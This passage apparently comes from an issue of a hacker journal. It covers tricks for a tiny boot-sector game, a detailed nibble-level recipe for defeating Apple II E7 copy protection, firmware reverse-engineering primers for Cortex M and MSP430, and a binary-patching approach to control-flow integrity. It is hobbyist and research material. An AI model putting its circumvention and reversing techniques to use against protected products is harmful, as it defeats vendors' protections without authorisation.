like quickly setting up a stack and some video memory. I would have



possibly struggled a little with int 0x16 keyboard handling without this
code as a reference. Also, I re-used the elegant random value
implementation as well. Finally, the PIT (Programmable Interval
Timer) delay loop used in Tetranglix gave me a good start on my own
dynamically timed delay.

I also learned how incredibly easy it was to get started with 16-bit
real mode programming. I owe a lot of this to the immediate
gratification from utilities like qemu. Looking at OS guides like the
osdev.org wiki was a bit intimidating, because writing an OS is not at all
trivial, but I wanted to start with much less than that. Just because I
want to write real mode boot sector code doesn’t mean I’m trying to
actually boot something. So a lot of the instructions and guides I found
had a lot of information that wasn’t applicable to my unusual needs and
desires.

I found that there were only two small things I needed to do in
order to write this code: make sure the boot image file is exactly 512
bytes and make sure the last two bytes are 0x55AA. That’s it! All the rest
of the code is all yours. You could literally start a file with OxEBFE (two-
byte unconditional infinite “jump to self” loop), have 508 bytes of nulls
(or ANYTHING else), and end with 0x55AA, and you’ll have a valid boot
image that doesn’t error or crash. So I started with that simple PoC
and built my way up to a game.



The most dramatic space savers were also the least interesting.
Instead of cool low level hacks, it usually comes down to replacing a



bad algorithm. One example is that the game screen has a nice blue
border. Initially, I drew the top and bottom lines, and then the right
and left lines. I even thought I was clever by drawing the right and left
lines together, two pixels at a time—because drawing a right pixel and
incrementing brings me to the left and one row down. I used this side-
effect to save code, rewriting a single routine to be both right and left.

All of this was still too much code, so I tried something simpler:
first splashing the whole screen with blue, then filling in a black box to
only leave the blue border. The black box code wasn’t trivial, but it was
smaller than the previous method. This saved me sixteen precious
bytes!

Less than a week after I put this on Github, my friend Darkvoxels
made a pull request to change the game-over screen. Instead of
splashing the screen red and idling, he just restarts the game. I liked this
idea and merged. As his game-over is just a simple int 0x19, he saved ten
bytes.

Although I may not have tons of reusable subroutines, I still
avoided inlining as much as possible. In my experience, inlining is great
for runtime performance because it cuts out the overhead of jumping
around the code space and stack overhead. However, this tends to
create more code as the tradeoff. With 510 effective bytes to work with,
I would gladly trade speed for space. If I see a few consecutive
instructions that repeat, I try to make a routine of it.

I also took a few opportunities to use self-modifying code to save on
space. No longer do I have to manually hex hack the w bit in the rwx
attribute in the .text section of an ELF header; real mode trusts me to
do all of the “bad” things that dev hipsters rage at me about.

Two self-modifying code hacks in this code are similar in concept.
There are a couple of places where I needed something similar to a
global variable. I could push and pop it to and from the stack when
needed, but that requires more bytes of code overhead than I had to
spare. I could also use a dedicated register, but there are too few of
those. On the other hand, assuming I’m actually using this dynamic
data, it’s going to end up being part of an operand in the machine code,



which is what I would consider its persisted location. (Not a register,
not the stack, but inside the actual code.)

As the pixel streak moves around on the game-board, the player
gets one point per character movement. When the player collects a
bonus item of any value, this one-point-per gets three added to it,
becoming a four-points-per. If an additional bonus item were collected,
it would be up to seven points. The code to add one point is selfmodify:
add ax, 1. When a bonus item is collected, the routine for doing bonus
points also has the line add byte [selfmodify + 2], 3. The +2 offset to our add
ax, 1 instruction is the byte where the 1 operand was located, allowing
us to directly modify it.

This adds to the strategy of the game. It discourages just filling the
screen up with the streak while avoiding items (so as to not create a
mess) and waiting out the clock. In fact, it is nearly impossible to win
this way. To win, it is a better strategy to get as many bonuses as early
as possible to take advantage of this progressive scoring system.

Another self-modifying code trick is used on the win screen. The
background to the “YOU WIN!” screen does some color and character
cycling, which is really just an increment. It is initialized with winbg: mov
ax, 0, and we can later increment through it with inc word [winbg + 0x01].
What I also find interesting about this is that we can’t do a space saving
hack like just changing mov ax, 0 to xor ax, ax. Yes, the result is the same;
ax will equal 0x0000 and the xor takes less code space. However, the



machine code for xor ax, ax is 0x31c0, where 0x31 is the xor and OxcO
represents “ax with ax.” The increment instruction would be
incrementing the OxcO byte, and the first byte of the next instruction
since the word modifier was used, which is even worse. This would not
increment an immediate value, instead it would do another xor of
different registers each time.

Instead of using an elaborate string print function, I have a loop to
print a character at a pointer where my “YOU WIN!” string is stored
(winloop: mov al, [winmessage]), and then use self-modifying code to
increment the pointer on each round. (inc byte [winloop + 0x01])

The most interesting self-modifying code in this game changes the
opcode, rather than an operand. Though the code for the trap items
and the bonus items have a lot of differences, there are a significant
amount of consecutive instructions that are exactly the same, with the
exception of the addition (bonus) or the subtraction (trap) of the score.



This is because the score actually persists in video memory, and there is
some code overhead to extract it and push it back before and after
modifying it.

So I made all of this a subroutine. In my assembly source you will
see it as an addition (math: add ax, cx), even though the instruction
initialized there could be arbitrary. Fortunately for me, the machine
code format for this addition and subtraction instruction are the same.
This means we can dynamically drop in whichever opcode we want to
use for our current need on the fly. Specifically, the add I use is ADD r/m16,
r16 (0x01/r) and the sub I use is SUB r/m16, r16 (0x29/r). So if it’s a bonus item,
we’ll self modify the routine to add (mov byte [math], 0x01) and call it, then
do other bonus related instructions after the return. If it’s a trap item,
we’ll self modify the routine to subtract (mov byte [math], 0x29) and call it,
then do trap/penalty instructions after the return. This whole hack isn’t
without some overhead; the most exciting thing is that this hack saved
me one byte, but even a single byte is a lot when making a program this
small!

I hope these tricks are handy for you when writing your own 512-
byte game, and also that you’ll share your game with the rest of us.
Complete code and prebuilt binaries are available in the ZIP portion

of this release.8



























11:5 In Search of the Most Amazing Thing; or,
Towards a Universal Method to Defeat E7 Protection
on the Apple ][ Platform

by Peter Ferrie (qkumba, san inc) with thanks to 4am

In the early days, there was a protection technique known as the
“generic bit-slip protection.” In modern times, the cracker known as
4am has dubbed it the “E7 bitstream,” because of the trigger values that
are used to locate it. It was a very popular technique.

While many nibble-checks could be defeated simply by not
allowing them to run at all, some protection routines required that the
code be run to produce their side effects, such as to decrypt pages or to
emit certain values that are checked later. At a high level, our goal is
therefore to simulate the E7 bitstream entirely, allowing the protection
routine to run as usual. That is, using a data-only solution to avoid
making any changes to the code. Stated explicitly, our goal is to
produce either disks that can be copied by COPYA (which, during a copy
operation, converts nibble data to sector data and then back again) or “.

dsk”-format disk images, which contain only sector data.

Therefore, we need sector data that, when written to disk, produce
nibble data that pass the protection check. For that to be possible, we

must understand the protection itself and the code that uses it.

A primer on the hardware in general was included in PoCǁGTFO

10:7, with this technique in particular near page 257. The theory is that
after issuing an access of Q6H ($C08D+(slot×16)), the QA switch of the Data



Register will receive a copy of the status bits, where it will remain
accessible for four CPU cycles. After four CPU cycles, the QA switch
of the Data Register will be zeroed. Meanwhile, assuming that the disk
is spinning at the time, the Logic State Sequencer continues to shift in
the new bits. When the QA switch of the Data Register is zeroed, it
discards the bits that were already shifted in, and the hardware will
shift in bits as though nothing has been read previously. The relevant
code can be found on page 376.

Interestingly, the bit $06 instruction is a misdirection. It exists only
for the purpose of consuming some cycles. Any other instruction of
equal duration could have been used, and it might be considered a
watermark. While it is the value that exists most commonly, some titles
changed the value of the address to 80 or FF, and these versions were
spread, too.

In the most common implementation of the E7 protection, the
stream on disk appears as D5 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 with some
harmless zero-bits in between. So from where do the other values
come? The magic is in the timing of the reads, and timing is
everything, so we must count the cycles!



Figure 11.2: E7 Protection Check

LDAREADNIB,X  



BPLNIB4 2 cycles

CMP#$E7 2 cycles

BNEFAIL 2 cycles

LDARSTLATCH,X4 cycles

LDY#$10 2 cycles

BIT$06 3 cycles

    15 cycles

One bit is shifted in every four CPU cycles, so a delay of 15 CPU
cycles is enough for three bits to be shifted in. Those bits are discarded.
However, since the CPU and the Disk ][ system are not synchronized,
then depending on exactly when the initial read began, there can be up
to two additional cycles in the total count. That puts us in the 16 cycle
range, which is sufficient for a fourth bit to be shifted in and then
discarded. In any case, the hardware sees it like this, due to a slip of
three (or four) bits:
D5 E7 E7 E7 [slip] EE E7 FC EE E7 FC EE EE FC

In binary, the stream looks like this, with the seemingly redundant
zero-bits in bold.

11010101   11100111    11100111    11100111
   D5         E7          E7          E7
11100111 0 11100111 00 11100111   11100111 0 11100111 00
   E7         E7          E7         E7         E7
11100111   11100111 0  11100111 0 11100111   11100111
   E7         E7          E7         E7         E7

However, by skipping the first three or four bits, the stream looks
quite different.



The old zero-bits are still in bold, and the newly exposed zero-bits
are in italics. We can see that the old zero-bits form part of the new
stream. This decodes to EE E7 FC EE E7 FC EE EE FC, and we have our magic
values. The fourth bit must be a zero-bit in the original stream in case
only three bits are slipped. Having the fifth bit be a zero-bit in the
original stream makes a nice pattern of repeating values, if for no other
reason.

Well-Groomed Data

In order to defeat this at all, we need to produce a regular 6-and-2
encoded sector which can be read by real hardware and copied by
regular DOS.

We start by exploiting the point marked by (*1) on page 376.
There’s a search for E7 after the D5. This allows us to introduce a full
data prologue without breaking the check.
D5 AA AD E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 ...

We can even conclude it with a regular epilogue so that there are no
read errors.
D5 AA AD E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 ... DE AA

It looks like a regular sector. The next step is to fill the stream with
the appropriate values, including simulating the presence of the timing
bits.



The Hard Stuff

We will use Bank Street Writer III for our first attempt, since it is the
simplest example. Bank Street Writer III requires only one nibble from
the pattern to be valid as an 8-bit decryption key for one page of
memory. That nibble appears at a position four nibbles after the EE, and
its value must be E7, so our pattern looks like this.
EE ?? ?? ?? E7 ...

Since we can’t rely on timing bits in our stream (because we need
sector data that produces nibble data that this code interprets as valid), we

can’t place the EE inside a pair of E7s because after the bit-slip the wrong
value will be read. Instead, we have to encode the value EE directly after
discarding the first three bits, and placing a zero-bit in the fourth bit
for compatibility purposes.
???01110 1110???? ???????? ???????? ???????? 11100111 ...

After the bit-slip (and our extra zero-bit),
...11101110 ???????? ???????? ???????? ???? [11100111] ...

We must make those last four bits “disappear,” in order to align our
E7 value correctly and allow it to be seen. If we turn those four bits into
zeroes and distribute them within the stream, while adhering to the
rule of not more than two consecutive zeroes, and replace the rest with
ones, we get this:
...11101110 11111111 00 11111111 00 11111111 [11100111] ...

The hardware reads this as EE FF FF FF E7. Then we prepend one-bits
and a zero-bit to the first (partial) nibble, like this:
[1110]11101110 11111111 00 11111111 00 11111111 [11100111] ...

After realigning the stream, we have this:
11101110 11101111 11110011 11111100 11111111 [11100111] ...

On disk, it appears as EE EF F3 FC FF E7.



The final step is to pad the data to a multiple of the sector size, so
that we have a complete sector. We must also include the calculate the
proper checksum. The remaining contents of the sector at this point
are entirely arbitrary. We could place a text message or draw a picture,
if we chose. Perhaps the most aesthetic version is to include a nibble
which will zero the running value, and then fill the rest of the sector
with 96s, since 96 is the nibble value for zero. This will yield a sector
which is devoid of all content other than the needed values. If that
version is chosen, then a quick lookup in the nibble translation table
shows us that the nibble value which will zero the running value is F3, so
our whole stream appears as:
D5 AA AD E7 E7 E7 EE EF F3 FC FF E7 F3 96 96 ... DE AA

Great, it runs on hardware.

Apple for the Win, or Not.

Then we try AppleWin (as at 1.25.0.4). It doesn’t work. Why not?
Because instead of shifting bits into the data latch one at a time until
the top bit is set, AppleWin shifts in an entire nibble immediately. It
means that AppleWin does not (and cannot!) support bit-slip at all.
Hmm, can we support both at the same time? Let’s see about that.

We need to encode the first nibble as an EE, while also allowing a
bit-slipping hardware to decode it as an EE. Well, we have that already,
so we’re halfway there! That just leaves the value four nibbles after the
EE, which is currently the arbitrary value of FF. We change that FF to E7,
so our stream on disk appears like so. EE EF F3 FC E7 E7

The final step is to pad the sector as we did previously. Using the
aesthetic choice again, we zero the running value and then fill the rest
of the sector with 96s. A quick lookup in the nibble translation table



shows us that the needed value is D6, so our whole stream appears to be
D5 AA AD E7 E7 E7 EE EF F3 FC E7 E7 D6 96 96 ... DE AA

We have a regular sector that works both on hardware and the
AppleWin emulator.

Totally Rad

Next up is Rad Warrior. It requires four nibbles from the pattern to be
valid (as a 32-bit decryption key for four pages of memory), starting
with the fourth nibble. This means that our Bank Street Writer III
technique won’t work because the pattern will be read differently
between the bit-slip and the non-bitslip version, after the fourth nibble.

We have to come up with another technique. We do this by
exploiting the point marked by (*2) on page 376. There’s a search for
the EE. It means that we can insert nibbles after the point of the bit-slip,
which will re-sync the stream to the non-slip form. At that point, we
can insert any pattern that we need. We start with an arbitrary
compatible sequence, EF FF FF FF.

In binary, it’s:
11101111 11111111 11111111 11111111

After the bit-slip (and our extra zero-bit), the hardware sees:
...11111111 11111111 11111111 1111

As above, we must make those last four bits disappear, in order to
align our pattern later. As above, we turn the four bits into zeroes and
distribute them within the stream, while adhering to the rule of not
more than two consecutive zeroes. Let’s try this:
...0 11111111 00 11111111 0 11111111

The hardware reads this as FF FF FF. Then we prepend one-bits and a
zero-bit to the first (partial) nibble again, like this:
[1110]011111111 00 11111111 0 11111111

After realigning the stream, we have this:
11100111 11111001 11111110 11111111

On disk, that appears as E7 F9 FE FF.



That final FF is redundant, so we remove it. Then we append our
complete pattern without any consideration for bit-slip. Our stream
looks like this:
E7 F9 FE EE E7 FC EE E7 FC EE EE FC

The final step is to pad the sector as we did previously. Using the
aesthetic choice again, we zero the running value and then fill the rest
of the sector with 96s. A quick lookup in the nibble translation table
shows us that the needed value is FB, so our whole stream appears as:
D5 AA AD E7 E7 E7 E7 F9 FE EE E7 FC EE E7 FC EE EE FC FB 96 96 ... DE AA

We have a regular sector that works on hardware and AppleWin at
the same time.

It also immediately supports Batman and Prince of Persia, both of
which require the entire pattern. Batman requires it as a 64-bit
decryption key for five pages of memory, and Prince of Persia uses it as
a seed for several check-bytes during gameplay. Superb!

A Small Bump in the Road

Then we try it all in MAME (as of 0.169), because MAME is supposed
to behave like the hardware... But. It. Does. Not. Work. Well, shit. And
why not? Because while MAME does support bit-slip, it always
consumes four bits for the code above, but most critically, it treats the
bit in the fifth position as though it were always a one-bit.

It means that these four sequences are all decoded as 11111111 00
11111111 00 after the bit-slip. (Only one of which is correct.)



11110011 11110011 11111100 is decoded as 10111111 00 11111111 00 after the bit-
slip, which is not correct, either.

Despite the time that I’ve spent poring over the source code, I have
not yet determined the cause, so we’re left to work around it. Can we
add support for MAME, while keeping the existing support? Without
duplicating everything? Let’s see about that.

We need to move a zero-bit beyond the slipped region so that the
hardware will read the same bits that MAME does.

After moving the zero bit, we have [1110] 11111111 00 11111111 00 ....
Realigning that stream, we get 11101111 11110011 11111100 ..., which looks
good. On disk, it appears as EF F3 FC.

Then we append our complete pattern without any consideration
for bit-slip. This stream is EF F3 FC EE E7 FC EE E7 FC EE EE FC.

The final step is to pad the sector as we did previously. Using the
aesthetic choice again, we zero the running value and then fill the rest
of the sector with 96s. A quick lookup in the nibble translation table
shows us that the needed value is EA, so our whole stream appears as D5 AA
AD E7 E7 E7 EF F3 FC EE E7 FC EE E7 FC EE EE FC EA 96 96 ... DE AA.



Success!

We have a truly universal nib sequence, which works on hardware,
which works on AppleWin, which works on MAME (and which will
still work when the bug is fixed), and which defeats the E7 protection.

Here is our universal sequence in the form of a disk sector:

This can be applied wherever the E7 sequence is the regular pattern.
For other patterns, such as those used by Thunder Mountain’s “Dig
Dug” (E7 EE EE EE E7 E7 EE E7 EE EE EE E7 EE E7 EE EE), Sunburst’s “1-2-3
Sequence Me” (BB F9 Fx), and MCE’s “The 4th R - Reasoning” (EB B6 EF 9A
DB B7 ED F9 D7 BF BD A7 B3 FF B3 BA), just place the proper pattern after the
“EF F3 FC” sequence, pad the sector as you like, and then fix the sector
checksum.

For the record, the E7 stream is used in many other titles, such as
Commando, Deathsword, Ikari Warriors, Impossible Mission II,
Karate Champ, Paperboy, Rambo First Blood Part II (a pure text
adventure!), Summer/Winter/World Games, The Ancient Art of War
[at Sea], Tetris, and Xevious.



As far as we know, this technique first appeared in 1983. It was used
to protect the title Locksmith, ironically a product for defeating copy-
protection.

None of the disk copiers of the day could copy E7 disks without a
parameter unique to the target, so duplicating these disks always
required a bit of expertise.

Final Words

Here is an interesting question: What if you don’t have an entire sector
available on the track that you need?

Fortunately, this would be a concern only for a protection which
used the rest of the sector (and the rest of the track) for meaningful
data, which I have not seen so far. In any case, the solution would be to
insert only the nibble sequence “EF F3 FC ... EE EE FC” and to not pad the
sector. This would yield a freely-copyable disk in its original form.
However, we must discourage that idea with these words from 4am:

11:6 A Tourist’s Phrasebook for Reversing
Embedded ARM in the Dialect of the Cortex M
Series

by Travis Goodspeed and Ryan Speers

Ahoy there, neighbor!



Welcome to another installment of our series of quick-start guides
for reverse engineering embedded systems. Our goal here is to get you
situated with the architecture of smaller devices as quickly as possible,
with a minimum of fuss and formality.

Those of you who have already worked with ARM might find it to
be a useful refresher, while those of you new to the architecture will
find that it isn’t really as strange as you’ve been led to believe. If you’ve
already reverse engineered binaries for any platform, even x86
Windows applications, you’ll soon feel right at home.

We’ve written this guide with STM32 devices for specific examples,
but with minor differences it applies well enough to the Cortex M
series as a whole. These devices generally have a megabyte or less of
Flash and at most a few hundred kilobytes of RAM. By and large, they
only run the Thumb2 instruction set, without support for the older
AARCH32 instruction set. For larger ARM chips, such as those used in
smartphones and tablets, you might be better served by a different
introduction.

Basics of the Instruction Set

Back in the day, ARM used fixed-width 32-bit RISC instructions. Like
the creation of the world, this was widely regarded as a mistake, and
many angry people wrote comments complaining that it was a waste of
space, and that RISC wouldn’t “change everything.” These instructions
were always 32-bit word aligned, so the lowest two bits of the Program
Counter (R15) were always zero.

Common Models

STM32, EFM32

Architecture

32-bit registers
16-bit and 32-bit Thumb(2) instructions



Registers

R15: Program Counter
R14: Link Register
R13: Stack Pointer
R0 to R12: General Use

Larger ARM chips, such as those in an early smartphone, support
two instructions sets. If the least significant bit of the program counter
is clear (0), then the 32-bit instruction set is used, whereas if that bit is
set (1), the chip will use a 16-bit instruction set called Thumb.
Registers are still 32 bits wide, but the instructions themselves are only
a half-word. They must be half-word aligned.

Because Thumb instructions have fewer bits to spare, code in larger
ARM machines will switch between ARM and Thumb as it is
convenient. You can see this in the least significant bit of a function
pointer, where an ARM function’s address will be even, while a Thumb
function’s address will be odd.

The Cortex M3 devices speak a slimmer dialect than the big-iron
ARM chips. This dialect drops the 32-bit wide instruction set entirely,

supporting only Thumb and Thumb2 instructions.9 Because of this, all
functions and all interrupt handlers are referred to by odd addresses,

which are actually the address of the byte after the real starting address!

If you see a call to 0x0800-5615, that is really a call to the Thumb code at
0x08005614.

Registers and Calling Convention

Arguments are passed to the child function from R0 to R3. R4 to R11
hold local variables, and the child function must restore them before

returning to the parent function. Values are returned in R0 to R3, and
these registers are not preserved by the child.

Much like in PowerPC and very unlike x86, the Link Register (R14,
a.k.a. LR) holds the return address. A leaf function, having no children,
might never write its return pointer to the stack. The BL instruction



automatically moves the old Program Counter into the Link Register
when calling a child, so parent functions must manually save R14
before calling children. The return instruction, BLR, functions by
moving R14 (LR) into R15 (PC).

Memory Map

Figure 11.3 shows the memory layout of the STM32F405, a Cortex M4
device. Study this map for a moment, before we go on to how to use it
in your adventure!

Because Cortex M devices have four gigabytes of address space but
hardly a megabyte of Flash, they keep functionally different parts of
memory at very different addresses.



Figure 11.3: STM32F40xxx Memory Map

Code memory is officially the range from 0x00000000 to 0x1FFFFFFF, but
in many cases, you’ll find that Flash is also mapped at a second address,
such as 0x08000000. When reverse engineering an application, you’ll find



that it’s either written here or a few dozens of kilobytes later, to leave
room for a bootloader.

SRAM is usually mapped to begin at 0x20000000, so it’s safe to assume
that any read or write to an absolute address in this region is a global
variable, and also that the stack and heap fit somewhere in this range.
Unlike a desktop application, which loads its initial globals directly
into a .data segment, an embedded application must manually initialize
its data variables, possibly by copying a large chunk from Flash into
SRAM.

Peripheral memory begins at 0x40000000. Both because peripherals are
most often referred to by an explicit address, and because Flash comes
with no linking systems or system calls, reads and writes to this region
are a gold mine for a reverse engineer!

System control registers are at 0xE0000000. These are used to do things
like moving the interrupt table or reading the chip’s model number.

Making Sense of Pointers

Let us teach you some nifty tricks about pointers in Thumb machines.

Back when ARM was first designed, 32-bit fixed-width instructions
with 32-bit alignment were all the rage, and all the cool kids (POWER,
SPARC, Alpha) used them. Later on, when the Thumb instruction set
was being designed, its designers chose 16-bit instructions that could be
mapped back to the same 32-bit core. The CPU would fetch a 32-bit
ARM instruction if the least-significant bit of the program counter
were even, and a 16- bit Thumb instruction if the program counter
were odd.

But these Cortex chips generally ship just Thumb and Thumb2,
without backward compatibility to 32-bit ARM instructions. So the
trick, which you can try in the next section, is that data pointers are
always even and instruction (function) pointers are always odd.

Making Sense of the Interrupt Table



Let’s take a look at the interrupt table from the beginning of a Cortex
M firmware image. These are 32-bit little endian addresses, which are
to be read backward, of course.

Note that the first word, 0x20001430, is in the SRAM region; this is
because the first word of a Cortex M interrupt table is the initialization
value for the Stack Pointer (R13). The second word, 0x08004121, is the
initialization value for the Program Counter (R15), so we know the
entry point of the application is Thumb2 code starting at 0x08004120.

Except for some reserved (zeroed) words, the handler addresses are
all in Flash memory and represent the interrupt handler functions. We
can look up the meaning of each handler in the specific chip’s
programming guide, then chase the ones that are most relevant. For
example, if we are reverse engineering a USB device, powered by an
STM32F3xx, the STM32F37xx reference manual tells us that the
interrupts at offsets 0x000000D8 and 0x0000001C handle USB events. These
might be good handlers to reverse early in the process.

Loading into IDA Pro or Radare2

To load the application into IDA Pro or Radare2, you generally need to
know the loading point and the locations of some other memories.

The loading point will be at or near the beginning of Flash,
depending upon whether a bootloader comes before your image. If you
are working from a JTAG dump, just use the address the image came



from. If you are working from a .dfu (Device Firmware Update) file, it
will contain a loading address in its header metadata.

When given a raw dump without a starting address, disassemble the
instructions and try to find a loading address at which the interrupt
handlers line up. (The interrupt vector table is usually at 0x00000000 or
0x08000000 at boot, but it can be moved to a new address by software.)

Making Sense of the Peripherals

The Cortex M3 contains two peripheral regions. At 0x40000000, you will
find the most useful ones for reverse engineering applications, such as
UART and USB controllers, General Purpose IO (GPIO), and other
devices. Unfortunately, these peripherals are not generic to the Cortex
M3 as an architecture; rather, they are specific to each individual chip.

Supposing you are reverse engineering an application for the
STM32F3xx series, you would download the Peripheral Support
Library for that chip from its manufacturer and eventually find
yourself reading stm32f30x.h. For other chips, there are similar headers,
each of which is written around C structs for register groups and
preprocessor definitions for peripheral base addresses and offsets.

Suppose we know from reverse engineering a circuit board that
USART2 is used by our target application to send packets to a radio
chip, and we would like to search for all functions that use this
peripheral. Working backwards, we find the following relevant lines in
stm32f30x.h.



This means that USART2’s data structure is located at 0x4000-4400.
From the USART_TypeDef structure, we know that data is received from
USART2 by reading 0x40004424 and written to USART2 by writing to
0x40004428! Searching for these addresses ought to easily find us the read
and write functions for that port.

Other Oddities

Please note that this guide has omitted many chip-specific features, and
that each chip has its own little quirks. You’ll find different memory
maps on each implementation, and anything that looks confusing is
likely worth spending more time to understand.

For example, some ARM devices offer Core-Coupled Memory
(CCM), which is SRAM that’s wired directly to the CPU’s internal data
bus rather than to the main memory bus of the chip. This makes data



fetches lightning fast, but has the complications that the memory is
unusable for DMA or code fetches. Care for a non-executable stack,
anyone?

Another quirk is that many devices map the same physical memory
to multiple virtual locations. In some high-performance code, the use
of both cached and uncached memory can allow for more efficient
operation.

Additionally, address zero often contains a duplicate of the boot
memory, which is usually Flash but might be executable SRAM.
Presumably this was done to allow for code that has compatible
immediate addresses when booting from either memory, but
PoCǁGTFO 10:8 describes a nifty little jailbreak that relies on

dumping the 48K recovery bootloader of an STM32F405 chip out of
Flash through a null-pointer read.

We hope that you’ve enjoyed this friendly little guide to the Cortex
M3, and that you’ll keep it handy when reverse engineering firmware
from that platform.

11:7 A Ghetto Implementation of CFI on x86

by Jeffrey Crowell

In 2005, M. Abadi and his gang presented a nifty trick to prevent
control flow hijacking, called Control Flow Integrity. CFI is, essentially, a

security policy that forces the software to follow a predetermined
control flow graph (CFG), drastically restricting the available gadgets
for return-oriented programming and other nifty exploit tricks.

Unfortunately, the current implementations in both Microsoft’s
Visual C++ and LLVM’s clang compilers require source to be compiled
with special flags to add CFG checking. This is sufficient when new
software is created with the option of added security flags, but we do
not always have such luxury. When dealing with third party binaries, or



legacy applications that do not compile with modern compilers, it is
not possible to insert these compile-time protections.

Luckily, we can combine static analysis with binary patching to add
an equivalent level of protection to our binaries. In this article, I
explain the theory of CFI, with specific examples for patching 32-bit
x86 ELF binaries—without the source code.

CFI is a way of enforcing that the intended control flow graph is
not broken, that code always takes intended paths. In its simplest
applications, we check that functions are always called by their
intended parents. It sounds simple in theory, but in application it can
get gnarly. For example, consider these three functions.

For them, our pseudo-CFI might look like the following, where
called_by_x checks the return address.

Of course, this sounds quite easy, so let’s dig in a bit further. Here is
a very simple example program to illustrate ROP, which we will be able
to effectively kill with our ghetto trick.



In x86, the stack has a layout like this

Local Variables

Saved ebp

Return Pointer

Parameters
. . .

By providing enough characters to smashme, we can overwrite the
return pointer. Assume for now, that we know where we are allowed to
return to. We can then provide a whitelist and know where it is safe to
return to in keeping the control flow graph of the program valid.

Figure 11.4 shows the disassembly of smashme() and main(), having been
compiled by GCC.

Great. Using our whitelist, we know that smashme should only return
to 0x08048456, because it is the next instruction after the ret. In x86, ret is
equivalent to something like the following. (This is not safe for multi-
threaded operations but we can ignore that for now.)

Cool. We can just add a check here. Perhaps something like this?



Now just replace our ret instruction with the check. ret in x86 is
simply this:

where our code is this:

Sadly, this will not work for several reasons. The most glaring
problem is that ret is only one byte, whereas our fancy checker is fifteen
bytes. For more complicated programs, our checker could be even
larger! Thus, we cannot simply replace the ret with our code, as it will
overwrite some code after it—in fact, it would overwritemain. We’ll need
to do some digging and replace our lengthy code with some relocated
parasite, symbiont, code cave, hook, or detour—or whatever you like
to call it!



Figure 11.4: Disassembly of main() and smashme().



Nowadays there aren’t many places to put our code. Before x86 got
its no-execute (NX) MMU bit, it’d be easy to just write our code into a
section like .data, but marking this as +x is now a huge security hole, as it
will then be rwx, giving attackers a great place for putting shellcode.
The .text section, where the main code usually goes, is marked r-x, but
there’s rarely slack space enough in this section for our code.

Luckily, it’s possible to add or resize ELF sections, and there’re
various tools to do it, such as Elfsh and ERESI. The challenge is
rewriting the appropriate pointers to other sections; a dedicated tool
for this will be released soon. Now we can add a new section that is
marked as r-x, replace our ret with a jump to our new section—and
we’re ready to take off!

Well, wheels aren’t up yet. As mentioned before, ret is just c3, but
absolute jumps are five bytes.

So what is left to do? Well, we can simply rewind to the first
complete opcode five bytes before the ret, and add a jump, then
relocate the remaining opcodes. We could do something like this.



Here, parasite is mapped someplace else in memory, such as our new
section.

With this technique, we’ll still to have to pass on protecting a few
kinds of function epilogues, such as where a target of a jump is within
the last five bytes. Nevertheless, we’ve covered quite a lot of the
intended CFG.

This approach works great on platforms like ARM and MIPS,
where all instructions are constant-length. If we’re willing to install a
signal handler, we can do better on x86 and amd64, but we’re
approaching a dangerous situation dealing with signals in a generic
patching method, so I’ll leave you here for now. The code for applying
the explained patches is all open source and will soon be extended to
use emulation to compute relative calls.

Thanks for reading!
—Jeff



11:8 A Tourist’s Phrasebook for Reversing MSP430



by Ryan Speers and Travis Goodspeed

Howdy, y’all!

Welcome to another installment of our series of quick-start guides
for reverse engineering embedded systems. Our goal here is to get you
situated with the MSP430 architecture as quickly as possible, with a
minimum of fuss and formality.

Those of you who have already used an MSP430 might find this to
be a useful reference, while those of you new to the architecture will
find that it isn’t really all that strange. If you’ve already reverse
engineered binaries for any platform, even x86, we hope that you’ll
soon feel right at home.

Memory Map

Unlike other embedded platforms, which like to put the interrupt
vector table (IVT) at the beginning of memory, the MSP430 places it at
the very end of the 16-bit address space, in Flash. (On smaller chips,
this is the very end of Flash.)

Early on, Low RAM at 0x0200 would be the only RAM location, but
as that region proved too small, a High RAM area was created at 0x1100.
For firmware compatibility reasons, the Low RAM area is mapped on
top of the High RAM area.

Note that Flash grows down from the top of memory, while the
RAM grows up. On MSP430X chips with a 20-bit address space, an
Extended Flash region sometimes grows upward from 0x10000.

Architecture

Von Neumann
16-bit words

Registers

R0: Program Counter
R1: Stack Pointer



R2: Status Register
R3: Constant Generator
R4-R15: General Use

Address Space

16-bit (MSP430)
20-bit (MSP430X, X2)

Additionally, there is an Info Flash area at 0x1000. While there is
nothing to stop an engineer from using this for code, the region is
generally used for configuration settings. In many devices, chips arrive
with this region pre-programmed to contain calibration settings for
the internal clock.

In most devices, the BSL ROM at 0x0C00 contains a serial bootloader
that allows the chip to be reprogrammed even after the JTAG fuse has
been blown, and if you know the contents of the last 32 bytes of Flash
—the Interrupt Vector Table—you can also read out the contents of
memory.

Loading into a Disassembler

Back in the old days, reverse engineering MSP430 code meant using
GNU objdump and annotating on pen and paper. Some folks would wrap
these tools in Perl, or fill paper notebooks with cross-referencing, but
thankfully that’s no longer necessary.

Start End Size Use

0x0000 0x000F16 Interrupt Control Registers

0x0010 0x00FF240 8-bit Peripherals

0x0100 0x01FF255 16-bit Peripherals

0x0200 0x09FF  Low RAM (Mirrored at 0x1100)

0x0C00 0x0FFF1024BootStrap Loader (BSL ROM)

0x1000 0x10FF256 Info Flash

0x1100     High RAM



Start End Size Use

  0xFFFF  Flash

0x10000    Extended Flash

Table 11.1: MSP430 and MSP430X Address Space

Nowadays, IDA Pro has excellent support for the platform. If you
have a legit license, just open the Intel Hex image of your target and
specify MSP430 as the architecture. Memory locations can be had from
the appropriate datasheets.

Radare2’s MSP430 support is a bit less mature, and you should
make sure to sanity check the disassembly wherever it looks suspect.
Luckily, the Radare2 developers are frighteningly quick about fixing
bugs, so both bugs that bothered us in the writing this article have
already been patched by the time you read this. For best results, always

run Radare2 built from the latest Git repository, and rebuild it often.10

There are no known decompilers for the MSP430, but with small
code sizes and rather legible assembly we don’t expect one to be
necessary.

Basics of the Instruction Set

The language is relatively simple, but there are a few dialects that the
locals speak. There are 27 native instructions, and then some additional
emulated instructions which are assembled to one of the 27. Most of
these 27 instructions have two forms—.B when they are working on an
8-bit byte, or .W if they want to tackle a 16-bit word. If someone tells
you something and doesn’t specify it, you can assume it’s a word. If
you’re doing a byte operation in a register, be warned that the most-
significant byte is cleared.

The three main types of core words are single-operand arithmetic,
two-operand arithmetic, and jumps.



Our simple single-operands are RRC (1-bit rotate right and carry),
